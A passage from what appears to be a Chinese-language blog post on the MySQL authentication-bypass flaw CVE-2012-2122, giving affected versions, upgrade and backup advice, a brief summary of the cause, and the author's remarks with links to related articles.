建议升级 MySQL 版本:
- MySQL 5.0 版本低于 5.0.96。
- MySQL 5.1 版本低于 5.1.63。
- MySQL 5.5 版本低于 5.5.25。
升级后,应备份整个 MySQL 目录、安装目录和数据目录,以防止升级失败。
总结
CVE-2012-2122 是一个由于密码比较逻辑缺陷导致的身份认证绕过漏洞。攻击者可以通过多次尝试错误密码,最终绕过认证成功登录 MySQL 服务器。该漏洞的触发与 MySQL 的编译选项和运行环境有关,建议升级到安全版本以修复漏洞。
赞赏
- 哎,有点迷茫 自己的路在何方?看了好多资料,有的几乎都一样,并且自己复现时还发现根本不成功啊!视频操作更是少的可怜呀
- 小公司,大佬都忙,也没人愿意花时间指点自己,现在把自己整理资料分享出来,朋友们少走点弯路,大家有问题也可以留言交流哈 ps:手机端浏览有问题的可以在电脑端看!
- https://www.freebuf.com/vuls/411090.html
- 漏洞环境搭建
- 在 Ubuntu 系统中,查看 CPU 占用情况可以通过多种工具和命令实现。以下是一些常用的方法:
- docker操作
- 其他数据库
- CVE-2016-6663
- CVE-2018-2562
- MySQL/CVE-2012-2122 漏洞原理与成因(ok)